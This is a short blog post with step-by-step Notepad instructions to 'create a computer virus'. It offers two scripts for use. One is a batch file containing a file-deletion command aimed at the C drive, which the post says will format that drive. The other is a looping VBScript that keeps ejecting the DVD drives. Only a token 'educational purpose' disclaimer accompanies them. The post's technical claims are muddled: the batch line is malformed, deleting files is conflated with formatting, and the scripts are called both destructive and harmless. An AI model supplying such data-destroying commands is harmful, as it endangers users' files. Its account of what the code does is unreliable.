How To Create A Computer Virus In A Matter Of Seconds

How To Create A Computer Virus In A Matter Of Seconds

When there is a virus attack on your laptop or PC. You just format your laptop and start your work again. But have you ever thought how that virus is made? Those virus are actually a program that destroys your PC. Well, here we will share How to create a computer virus in a matter of seconds.

Note:

This is just for educational purpose. You should not use this trick for the unethical purpose.

You can Join our Facebook Group for any query related to Tech and Regular Tech Updates. Join the group from here.

So let’s have a look at

How To Create A Computer Virus In A Matter Of Seconds

Step 1:

First and foremost thing you need to do is to open notepad. For that, you need to click on start and then search for notepad and hit enter.

How To Create A Computer Virus In A Matter Of Seconds
How To Create A Computer Virus In A Matter Of Seconds
Step 2:

Just copy and paste this code below in the notepad file.

@Echo off
Del C: *.* |y

How To Create A Computer Virus In A Matter Of Seconds
How To Create A Computer Virus In A Matter Of Seconds
Step 3:

Now save that file with any name. But with .bat extension. In this case, we kept virus.bat

How To Create A Computer Virus In A Matter Of Seconds
How To Create A Computer Virus In A Matter Of Seconds
Step 4:

Now run the .bat file and it will format your C drive.

 

Note:

Don’t double click on your PC as it will format your C drive.

We have another trick here.

This trick will make your DVD drives eject automatically.

Step 1:

Click on start button and search for notepad. And hit enter.

How To Create A Computer Virus In A Matter Of Seconds
How To Create A Computer Virus In A Matter Of Seconds
Step 2:

Next, copy and paste the below code. And save it to the name you like. But with the extension of .vbs. for instance, we can keep CD-ROM.vbs

Set oWMP = CreateObject(“WMPlayer.OCX.7”)
Set colCDROMs = oWMP.cdromCollection
do
if colCDROMs.Count >= 1 then
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
For i = 0 to colCDROMs.Count – 1
colCDROMs.Item(i).Eject
Next
End If
wscript.sleep 5000
loop

Double click on the file and you will be amazed to see that your DVD drive open and close.

How To Create A Computer Virus In A Matter Of Seconds
How To Create A Computer Virus In A Matter Of Seconds
Tip:

To stop the virus. Open task manager and select process tab and end the wscript.exe file.

 

This is all about the virus which is harmless to your computer. As I said virus are programs that are created by a hacker and then you to hack your PC. So today you know how to create a virus in a matter of seconds. If you liked this article, then share with your friends and let your friends.

“Do at your own risk. We are not responsible for your loss”.

You can follow us Facebook, YouTube, Google+ for regular tech updates.

You can Join our Facebook Group for any query related to Tech and Regular Tech Updates. Join the group from here.

MohitPatel

He is Tech Savvy. He loves writing on some topics. He loves android. Loves coding because coding gives u everything at your fingertips. Loves to be under spotlight. And yes his middle finger always salutes to negative people around him..

Leave a Reply